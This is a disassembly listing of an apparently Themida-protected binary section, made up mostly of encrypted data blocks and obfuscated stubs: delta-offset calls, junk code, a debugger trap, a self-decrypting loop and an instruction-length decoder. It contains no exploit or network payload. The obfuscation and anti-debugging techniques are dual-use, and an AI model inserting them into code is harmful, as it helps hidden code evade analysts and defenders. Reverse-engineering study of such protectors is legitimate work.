		dd 16h,	0FCC35343h, 0AE984ABh, 51000000h, 152109C4h, 0C8599CE1h
		dd 0A185C7A0h, 0F007E42Dh, 6A000072h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E1A2C352h
		dd 63E76833h, 0BE66C3A5h, 85C74B86h, 7E422B9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5DCB8F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DCB8F	proc near		; CODE XREF: Themida_:005DCB87p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5DCB8F	endp

; ---------------------------------------------------------------------------
		push	es
		ja	short loc_5DCBCC
		mov	edi, 0BA661012h
		dec	esp
		adc	bh, bh
		mov	ch, 11h
		sbb	ah, ah
		pop	es
		push	0
		push	esi
		call	sub_5DCBBA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DCBBA	proc near		; CODE XREF: Themida_:005DCBB2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5DCBBA	endp

; ---------------------------------------------------------------------------
		dw 0CE43h
; ---------------------------------------------------------------------------


loc_5DCBCC:				; CODE XREF: Themida_:005DCBA0j
		db	64h
		push	edx
		mov	[ebp+7E413B9h],	eax
		pop	ebx
		call	dword ptr [ebp+7E43061h]
		or	[ebp+7E417E1h],	edi
		push	0


loc_5DCBE3:				; DATA XREF: Themida_:00582B5Co
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5DCC5C
; ---------------------------------------------------------------------------
		db 15h,	0D0h, 0D1h
		dd 5F77219Bh, 3FDAA33Fh, 0F4EC9734h, 0F071AD74h, 1C9B6688h
		dd 1C3B41A8h, 257AFA48h, 0B26FA382h, 927595E2h,	0A1D45BCDh
		dd 0A3A059C4h, 9650ED45h, 0EC1672C0h, 3DA62D65h, 0DCFCC9CFh
		dd 5037AB0Dh, 689A5350h, 0B86936C4h, 52F57A2Ah,	84E733E6h
		dd 0B1AB373Ch, 0D3B6E1EFh, 6F513E71h, 808ABD0h,	0C8E4465Fh
		dd 0A6396C5h, 0A7A45CCFh
; ---------------------------------------------------------------------------


loc_5DCC5C:				; CODE XREF: Themida_:005DCBEBj
		jmp	short loc_5DCCBE
; ---------------------------------------------------------------------------
		align 10h
		dd 17h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DCCBE:				; CODE XREF: Themida_:loc_5DCC5Cj
		jmp	loc_5DD7D7
; ---------------------------------------------------------------------------
		jmp	loc_5DD7D0
; ---------------------------------------------------------------------------
		push	7E9B02Fh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E9B158h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E9B1AEh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dw 0D9B1h
		dd 340D23B7h, 8E6A8014h, 0EBCAE074h, 522D43D7h,	23C9A236h
		dd 9F334F2Ah, 0FD91AF89h, 5FF309E7h, 0C0546C49h, 1BE05D0Dh
		dd 0B713AB08h, 668DA72h, 0CAB0CF41h, 56673C4Eh,	0C8265E7Ch
		dd 0BDC3E8C2h, 4A3C3C86h, 69BB40BDh, 0AE171442h, 3AACFC55h
		dd 6C986F2Bh, 688A9C20h, 4F2A7552h, 0D4A2DA33h,	0DAA8E0F6h
		dd 0DCAAE200h, 3395E501h, 4234C1B6h, 12248D14h,	87A37E4Ch
		dd 8EA2814Fh, 92AC8856h, 93B38C5Ah, 0A30B845Bh,	93F2D653h
		dd 178013ABh, 305029C7h, 97177D9Ch, 683E547h, 13A89B71h
		dd 696274DDh, 13A89B9Eh, 0ED8BDB44h, 0CDE7C312h, 8FA1FA95h
		dd 0FF1EFBC9h, 34108819h, 67FB543Dh, 2E795696h,	68033B4Fh
		dd 21AAC80Fh, 0FE18F492h, 67799972h, 165D5144h,	9A957D4Eh
		dd 5BE55FE5h, 78h, 0EAFEDD7Bh, 596B7F5Eh, 0B3309284h, 1442A0CCh
		dd 0EC0F218Ah, 92BE05A9h, 42A06E15h, 7150EC14h,	0EB900D5Dh
		dd 671442A0h, 925EA5FEh, 0C6FE18F4h, 0E23B192Bh, 0D5D7D56h
		dd 6779936Fh, 18F49292h, 192BC6FEh, 30920419h, 38D7C3BEh
		dd 0B41F1DAFh, 14429ECFh, 21597550h, 40CC3586h,	78134B63h
		dd 409466h, 0A81A0000h,	26F863AFh, 0DDA21F9Ah, 7914426Ah
		dd 0D0A5B710h, 1F66484Dh, 51CE3092h, 1442A0AAh,	754FB828h
		dd 49B4D9B8h, 5C23A0F0h, 0FA1442B2h, 0F1867F91h, 1C1442B2h
		dd 3992EE35h, 165D7D56h, 424D5B70h, 219F1C6Ch, 7013A68Bh
		dd 8CEA910Eh, 0FF6813A6h, 6DA50EEDh, 0A68C3FC0h, 647A5813h
		dd 37805E2Ch, 6F0A425Ah, 7AFDDE16h, 1D2E86CAh, 53D03269h
		dd 13A68CACh, 2061C12Ah, 5880DB28h, 0B6492436h,	1FD87749h
		dd 1CFh, 67474D48h, 0A0ED9A17h,	10791442h, 152D0AD8h, 7956B081h
		dd 21AA1A61h, 1F66484Dh, 9A957D4Eh, 5BE55FE5h, 3Ah, 1B209284h
		dd 0C2DC54D2h, 464F7284h, 0E43D5B35h, 6E15929Dh, 0EC1442A0h
		dd 30923C83h, 0E7D672BEh, 0C6D86E0Ah, 5D7D56F1h, 0FB209216h
		dd 394A3435h, 8BA0A0B2h, 579Eh,	484D2D00h, 30921F66h, 42A0CCB3h
		dd 5B714F14h, 0CE378823h, 9A61DEBCh, 0F71442A0h, 0B1E9FFDDh
		dd 0B6DBD16h, 42A0E98Eh, 0EFC96514h, 0A5FE99D1h, 3992BE93h
		dd 619F492h, 42A0F289h,	9EF76014h, 9FB9CB66h, 705FA6C6h
		dd 7552F052h, 1F8A255Dh, 1442A058h, 0A67B8DF6h,	0F370474Dh
		dd 1442A00Ch, 0B80861CAh, 0F1EBE456h, 675B0FACh, 0EB35C55h
		dd 0CE401442h, 561F508Ah, 698761FDh, 2B3D9631h,	2193E34Ch
		dd 0EBC864B9h, 0E5FD73D3h, 3D0BD1E3h, 0DAB44860h, 5AE89168h
		dd 11ECCF3Fh, 9B71E2F4h, 0F5CADC35h, 115F492h, 21C2EC9h
		dd 0AAC60D25h, 0B9209221h, 934CF2B3h, 9AFB1E30h, 7D4ECD14h
		dd 5FE59A95h, 545BE5h, 4D840000h, 921F6648h, 9CB69230h
		dd 0BEB7C964h, 1442A039h, 92E52C95h, 99B99230h,	7D56B287h
		dd 0C13E4D2Ah, 1442A03Ah, 7DD62F98h, 64B58F2Dh,	9A356D89h
		dd 0E26E0941h, 16B1E909h, 20922F04h, 7D1F58E6h,	0A9A9BB86h
		dd 539E94h, 86240000h, 0BC578FABh, 3092D5AAh, 42A0CCB3h
		dd 13EE8A14h, 0CB24BFF7h, 0AFFF96B9h, 0CDE3C15Fh, 1592E6BBh
		dd 1442A06Eh, 927DC4ABh, 0AA51CE30h, 281442A0h,	92D8ADBFh
		dd 0A0CCB330h, 218A1442h, 0FC1CF50Fh, 1C2092B5h, 0A538557Fh
		dd 82BAD2AFh, 7C7C8EE7h, 0DD9E67h, 922D0000h, 0A0CCB330h
		dd 714F1442h, 3788235Bh, 0FB99BCCEh, 2A8AA480h,	112D0CE0h
		dd 0C2126B4Eh, 4276B645h, 0D6B32514h, 0B2C63501h, 0D63F1E30h
		dd 0DBF3D09Eh, 0D7AC298Bh, 831442DFh, 15E6081Ah, 0FB1BF492h
		dd 0FC1628C3h, 92C0071Fh, 2F38F620h, 13EC3EC1h,	0C720BBF3h
		dd 4D66EFB5h, 78166648h, 0AD48809Eh, 0F492C69Bh, 7D9BFB1Bh
		dd 0E728ACF2h, 7B4C6E80h, 5FE59A95h, 2A5BE5h, 4D840000h
		dd 921F6648h, 42A06E15h, 3C83EC14h, 7D563992h, 5270165Dh
		dd 88C0D6B4h, 0A7BEE2E6h, 90E9039Bh, 389EA97Eh,	2D000000h
		dd 1666484Dh, 4A829C78h, 92C89DAFh, 0C3FB1BF4h,	0C80018F5h
		dd 0E4C2D42Dh, 42A09067h, 0CF16FD14h, 7D563992h, 2EAB0D5Dh
		dd 1442A049h, 9DD5EDCAh, 3648B102h, 565B7061h, 5B296179h
		dd 0BDD3677Dh, 0E390C8E0h, 1442A01Ah, 9689BD94h, 0F70DA1B9h
		dd 38CA021Ah, 3F5F38D6h, 42A02FD4h, 4D3BAB14h, 0AB9BC27h
		dd 9BC6D831h, 0D292F7A4h, 0E2768E6Bh, 92E2CCC3h, 0A6419715h
		dd 447CE513h, 0A656E497h, 12526313h, 771B956Ah,	8A6503D8h
		dd 2FBD5C6Eh, 0E6000000h, 0FC1AF492h, 0DBF3D0EAh, 3DAF11A3h
		dd 36E19A6Eh, 0F68DF8E0h, 64144224h, 0BF0E9FBh,	0A3144224h
		dd 0C8A598CCh, 0E9C260B0h, 0E4F691C9h, 7956F1C2h, 0A016ED6Ah
		dd 5BC41442h, 9CF3CA02h, 9145C212h, 4313AB08h, 0FA6C46DAh
		dd 70D78AEAh, 0E90C1E11h, 56B808A6h, 0DAFF19E4h, 64B4DA00h
		dd 0ABBA10E7h, 4355BE13h, 4F914C4Ah, 79B11A14h,	730885E7h
		dd 0DF1B8FE6h, 0F70BEA76h, 0E613ECE5h, 0A7B81B8Fh, 0DD5ABCFFh
		dd 1B8FE626h, 5E394BB4h, 0D08ECBA1h, 657B59F7h,	1CB453h
		dd 4DDD0000h, 9A176747h, 1442A0F5h, 66C81881h, 0C2D4EAC8h
		dd 1EB2CCA8h, 1250h, 474DDF00h,	0F19A1767h, 7D1442A0h
		dd 4A26C414h, 9ECB9C30h, 19Bh, 69454D2Dh, 0A618AA22h, 4D698C24h
		dd 380D1FB8h, 532E7956h, 4E97DE37h, 0E59A957Dh,	465BE55Fh
		dd 84000000h, 115F492h,	0E8C6CCEFh, 6E1592A1h, 0EC1442A0h
		dd 6D527550h, 0F42A0A85h, 458CE53Eh, 30CE3092h,	65003856h
		dd 42A005FAh, 0DC68D114h, 0FED3E501h, 19607A56h, 0B7342092h
		dd 9976BF6Dh, 9E728787h, 57h, 1BF4922Dh, 9DD5E9C8h, 0D671A902h
		dd 0BDF1A1C4h, 83209276h, 5605BCF2h, 2B8D6B7Dh,	5A8DB48Dh
		dd 43826D52h, 0F8F1035Ch, 1442A403h, 0B957A78Eh, 0D9AEC0E0h
		dd 20923992h, 0E6127BD9h, 0DEF80AFFh, 92A1E802h, 0EE0016F4h
		dd 0F16ED0EEh, 1442A00Ah, 4596B28Dh, 56F5CADCh,	0AA1A6179h
		dd 66484D21h, 927D4E1Fh, 9DFD19F4h, 52FFDBCCh, 633E505Fh
		dd 0E55F5ECCh, 3A49h, 484D7200h, 15921F66h, 1442A06Eh
		dd 953383ECh, 0CC679FB9h, 3992E5BAh, 115F492h, 21C2EC9h
		dd 92C20929h, 880A4F20h, 7B8D517Dh, 0E2BF5D7Bh,	0E5F792CAh
		dd 209E10h, 4D2D0000h, 921F6648h, 42A06E15h, 7DC4AB14h
		dd 0B4923092h, 0BB98669Eh, 63384AA3h, 165D7D56h, 0F4925B70h
		dd 0F388051Ah, 5F1442A0h, 0D04D9DF6h, 1442A02Bh, 122C3EA7h
		dd 39E61E34h, 1442A047h, 0A3DBF7D2h, 0FCFD0101h, 490B298h
		dd 99D81026h, 0BEDE92D2h, 3816093Dh, 2F60D222h,	8C59E8DFh
		dd 96A35222h, 4311D736h, 0C08176F3h, 0E44D1442h, 64D6B0D2h
		dd 0D9F0AA2Fh, 359FB2FAh, 0DB66A303h, 56C59AACh, 5C2A6278h
		dd 0F230687Eh, 24027D29h, 0BB857A0Eh, 911442AAh, 5C12BA44h
		dd 0FE4719E0h, 7742FFFFh, 1442A084h, 42A0CF30h,	0A0956914h
		dd 5A251442h, 0DE1442A0h, 1442A01Dh, 42A0E497h,	456926D4h
		dd 1CF593F5h, 19F6C4FCh, 0D52EC901h, 8C63CAC3h,	8EF0D3A5h
		dd 0A58C6A11h, 0CAF7D9D3h, 0E4CFA0A2h, 5DDA2A93h, 0D3A525A6h
		dd 0DAB9CB34h, 2D623971h, 5DCF3181h, 3AA9E8F6h,	817A8C97h
		dd 0D441502Bh, 0F96CC029h, 4AA233DDh, 25E840Ah,	0AD850000h
		dd 8E1F78Bh, 623E54E8h,	0BF9EB448h, 260117ABh, 579D760Ah
		dd 730723FEh, 0D165835Dh, 33C7DDBBh, 9428401Dh,	0CFB431E1h
		dd 8B13AB10h
		dd 7956B746h, 98731161h, 97A9447Ch, 1295FAD1h, 30443427h
		dd 532CB869h, 760FB33h,	0DEB755B7h, 0EFB3ACBEh,	0AE13AB48h
		dd 91B3310h, 617ABA2Ah,	90C8DCBBh, 0BB9C95F5h, 0FFD96DC6h
		dd 30688861h, 0F18A8395h, 5E13AB35h, 0EAEF19ECh, 66C707FAh
		dd 6394F483h, 56798B62h, 0A8257539h, 14427B04h,	0F795E54Eh
		dd 40B2021Ah, 0DDDEA065h, 658799BDh, 0A5A724Fh,	66788E6Ch
		dd 5E00F3A0h, 58A1B91h,	0CDC59A9h, 0DF1C78F6h, 75A3A26Dh
		dd 0EE006916h, 0B856A60Fh, 192FC3DBh, 15EC243Ch, 72E4347Ah
		dd 70A562Dh, 2B091B9Fh,	1693E6AEh, 0B43AC04h, 3535B34h
		dd 0C432286h, 77C7300Ch, 94E4FCD9h, 0C90119F6h,	0E4FA1C2Eh
		dd 0C6E0BC07h, 0F788356Dh, 1733D256h, 69E63678h, 343A0EB1h
		dd 0EBC2FA63h, 0E1FBD7A4h, 65B50EA9h, 0DC1A12E8h, 357C03Ch
		dd 3AA12B6Ch, 3525ABEBh, 0AE000001h, 0A20B4D6h,	677D1131h
		dd 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh, 304C2720h, 8EAC869Ch
		dd 0F006E4FAh, 5169465Ch, 0DD5A0ABDh, 13AB1126h, 4DE06FB4h
		dd 9F1C6C42h, 13AB08FBh, 21F83099h, 73F0406Eh, 144F00F9h
		dd 263E1BB7h, 3A0079CDh, 2B6B6232h, 0DFA5h, 0A2C0400h
		dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h,	7DD61CF5h
		dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh,	114C33B0h
		dd 0C50A13ABh, 15F49236h, 0A0F68D0Ah, 0FB641442h, 0BDCF6AA2h
		dd 69B9F59Ah, 0AB083CECh, 3585EE13h, 8C9EBE97h,	0FC1BF8C6h
		dd 0BDE2ABF1h, 0D8288178h, 0E465C3Ah, 293F6173h, 9E802D4Ch
		dd 0D4BB2ED3h, 236C437Bh, 0EEBE3B8Bh, 641442E6h, 785167FBh
		dd 906A0858h, 283E6072h, 889E324Ch, 0EB0195A9h,	42A4F410h
		dd 91283EC5h, 21339C1Bh, 0F20EE9FFh, 506E485Eh,	0B2C8A6BCh
		dd 132B081Eh, 718F697Fh, 0DDD1BEDDh, 8FBC108Dh,	19B71C78h
		dd 4DE82040h, 0E2C05C3Bh, 6D3B73CCh, 0AE47890h,	68468D6Ch
		dd 26C1F952h, 0A4214h, 2AC80000h, 5EF93151h, 3E8D774Ch
		dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
		dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E18951EEh
		dd 4C181h, 0E9830000h, 240C8704h
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	1815h
		mov	[esp], ebp
		push	ebp
		push	74B2147h
		pop	ebp
		neg	ebp
		add	ebp, 0F34C9A2h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	2017h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, ebp
		mov	[ebx], edx
		pop	ebx
		mov	ebp, [esp]
		push	esi
		mov	esi, esp


loc_5DD7A6:				; CODE XREF: Themida_:005DD7CCj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		jnp	short loc_5DD7A6
		mov	dh, bl


loc_5DD7D0:				; CODE XREF: Themida_:005DCCC3j
		mov	eax, 7E9B2B2h
		add	eax, ebp


loc_5DD7D7:				; CODE XREF: Themida_:loc_5DCCBEj
		mov	eax, ebx
		jmp	loc_5DD9A6
; ---------------------------------------------------------------------------
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		align 10h
		dd 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 75726600h,	0FE80h,	11h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DD9A6:				; CODE XREF: Themida_:005DD7D9j
		jmp	loc_5DDCFE

; =============== S U B	R O U T	I N E =======================================



sub_5DD9AB	proc near		; DATA XREF: Themida_:005844C8o
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E9B526h
		pusha
		mov	dword ptr [ebp+7E9B473h], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5DD9DD
		mov	dword ptr [ebp+7E9B477h], 6
		jmp	loc_5DDA01
; ---------------------------------------------------------------------------


loc_5DD9DD:				; CODE XREF: sub_5DD9AB+1Dj
		lea	eax, [ebp+7E9B47Bh]
		push	eax
		lea	eax, [ebp+7E9B4CBh]
		push	eax
		push	esi
		push	0
		call	sub_5DDA10
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+7E9B477h],	eax


loc_5DDA01:				; CODE XREF: sub_5DD9AB+2Dj
		popa
		add	esi, [ebp+7E9B477h]
		mov	eax, [ebp+7E9B473h]
		pop	ebp
		retn
sub_5DD9AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5DDA10	proc near		; CODE XREF: sub_5DD9AB+43p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_7E9B46B	= dword	ptr  7E9B473h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5DDA3D
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5DDA49
; ---------------------------------------------------------------------------


loc_5DDA3D:				; CODE XREF: sub_5DDA10+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5DDA49:				; CODE XREF: sub_5DDA10+28j
		push	ebx
		push	esi
		push	edi


loc_5DDA4C:				; CODE XREF: sub_5DDA10+91j
					; sub_5DDA10+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5DDA5F:				; CODE XREF: sub_5DDA10+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E9B5DDh
		lea	ebp, [ebp+7E9B453h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5DDA8C
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5DDA5F


loc_5DDA8C:				; CODE XREF: sub_5DDA10+6Bj
		cmp	cl, 0Bh
		jz	loc_5DDAE9
		cmp	al, 66h
		jnz	loc_5DDACA
		cmp	[ebp+var_5], 0
		jnz	loc_5DDA4C
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5DDAC2
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5DDA4C
; ---------------------------------------------------------------------------


loc_5DDAC2:				; CODE XREF: sub_5DDA10+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5DDACA:				; CODE XREF: sub_5DDA10+87j
		cmp	al, 67h
		jnz	loc_5DDA4C
		cmp	[ebp+var_6], 0
		jnz	loc_5DDA4C
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5DDA4C
; ---------------------------------------------------------------------------


loc_5DDAE9:				; CODE XREF: sub_5DDA10+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5DDB15
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5DDB1A
; ---------------------------------------------------------------------------


loc_5DDB15:				; CODE XREF: sub_5DDA10+E4j
		movzx	edi, al
		shr	edi, 1


loc_5DDB1A:				; CODE XREF: sub_5DDA10+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E9B695h
		lea	ebp, [ebp+7E9B353h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5DDC9C
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5DDBE0
		dec	ecx
		jz	loc_5DDBC3
		dec	ecx
		jnz	loc_5DDC33
		cmp	[ebp+var_2], 0
		jnz	loc_5DDC2F
		cmp	[ebp+var_5], 0
		jz	loc_5DDBA2
		mov	byte ptr [ebp+arg_0+3],	2


loc_5DDBA2:				; CODE XREF: sub_5DDA10+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E9B721h
		mov	[ebp+arg_7E9B46B], 1
		pop	ebp
		jmp	loc_5DDC33
; ---------------------------------------------------------------------------


loc_5DDBC3:				; CODE XREF: sub_5DDA10+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5DDC0D
		cmp	[ebp+var_5], 0
		jz	loc_5DDC0D
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5DDC0D
; ---------------------------------------------------------------------------


loc_5DDBE0:				; CODE XREF: sub_5DDA10+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5DDC26
		cmp	[ebp+var_5], 0
		jz	loc_5DDC15
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5DDC0D
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5DDC0D:				; CODE XREF: sub_5DDA10+1B7j
					; sub_5DDA10+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5DDC33
; ---------------------------------------------------------------------------


loc_5DDC15:				; CODE XREF: sub_5DDA10+1DEj
		cmp	dl, 5
		jnz	loc_5DDC33
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5DDC33
; ---------------------------------------------------------------------------


loc_5DDC26:				; CODE XREF: sub_5DDA10+1D4j
		cmp	dl, 6
		jnz	loc_5DDC33


loc_5DDC2F:				; CODE XREF: sub_5DDA10+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5DDC33:				; CODE XREF: sub_5DDA10+174j
					; sub_5DDA10+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5DDC61
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5DDC43:				; CODE XREF: sub_5DDA10+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5DDC43
		mov	esi, edx


loc_5DDC61:				; CODE XREF: sub_5DDA10+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5DDC96
		cmp	edi, 7Fh
		ja	loc_5DDC96
		test	bl, 38h
		jnz	loc_5DDC96
		cmp	[ebp+var_7], 0
		jz	loc_5DDC90
		movzx	eax, [ebp+var_4]
		jmp	loc_5DDC93
; ---------------------------------------------------------------------------


loc_5DDC90:				; CODE XREF: sub_5DDA10+271j
		push	1
		pop	eax


loc_5DDC93:				; CODE XREF: sub_5DDA10+27Bj
		mov	[ebp+var_1], al


loc_5DDC96:				; CODE XREF: sub_5DDA10+255j
					; sub_5DDA10+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]	; CODE XREF: Themida_:005DDD15j


loc_5DDC9C:				; CODE XREF: sub_5DDA10+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5DDCC7
		dec	eax
		dec	eax
		jz	loc_5DDCBD
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5DDCCF
; ---------------------------------------------------------------------------


loc_5DDCBD:				; CODE XREF: sub_5DDA10+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5DDCCC
; ---------------------------------------------------------------------------


loc_5DDCC7:				; CODE XREF: sub_5DDA10+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5DDCCC:				; CODE XREF: sub_5DDA10+2B2j
		add	[ebp+var_1], al


loc_5DDCCF:				; CODE XREF: sub_5DDA10+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5DDCF7
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5DDCE2:				; CODE XREF: sub_5DDA10+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5DDCE2


loc_5DDCF7:				; CODE XREF: sub_5DDA10+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5DDA10	endp

; ---------------------------------------------------------------------------


loc_5DDCFE:				; CODE XREF: Themida_:loc_5DD9A6j
		lea	eax, [ebp+7E9B520h]
		mov	[ebp+7E4203Dh],	eax ; CODE XREF: Themida_:005DDD54j
		call	near ptr loc_5DDD11+3
		mov	ch, 28h


loc_5DDD11:				; CODE XREF: Themida_:005DDD0Ap
		rcr	byte ptr cs:[edx], 80h
		jecxz	short near ptr loc_5DDC99+2 ; CODE XREF: Themida_:005DDD51j
		pop	eax
		add	eax, 6DEBh
		pusha
		jnp	loc_5DDD2A
		sub	cx, 3318h


loc_5DDD2A:				; CODE XREF: Themida_:005DDD1Fj
		mov	cx, si
		popa
		push	0
		sbb	bl, 0B9h
		pop	esi
		mov	ch, 5Fh


loc_5DDD39:				; CODE XREF: Themida_:005DDDA5j
		push	dword ptr [esi+eax]
		call	near ptr loc_5DDD54+1
		or	[edx], edi
		jnp	short near ptr loc_5DDD6A+2
		xchg	bl, [ebx-26BAB884h]
		mov	cl, 0ADh
		lodsb
		inc	ebx
		int	3		; Trap to Debugger
		lodsb
		lock jge short near ptr	loc_5DDD15+1


loc_5DDD54:				; CODE XREF: Themida_:005DDD3Cp
		jb	short near ptr loc_5DDD04+4
		mov	cl, 5Ah
		pop	edi
		movzx	ecx, dx
		xor	edi, 541CD9F6h
		mov	bh, 41h
		xor	edi, 5BD56E35h


loc_5DDD6A:				; CODE XREF: Themida_:005DDD43j
		jmp	loc_5DDD80
; ---------------------------------------------------------------------------
		db 0B4h
		dd 9453EA9Dh, 0B5DF6F66h, 25AA1C3Dh, 0A415E232h
; ---------------------------------------------------------------------------


loc_5DDD80:				; CODE XREF: Themida_:loc_5DDD6Aj
		sub	edi, 3D1BF44Ch
		mov	ecx, 5197BD08h
		push	edi
		mov	cx, 5F88h
		pop	dword ptr [eax+esi]
		and	cl, 0Ah
		sub	cx, 8F6Ch
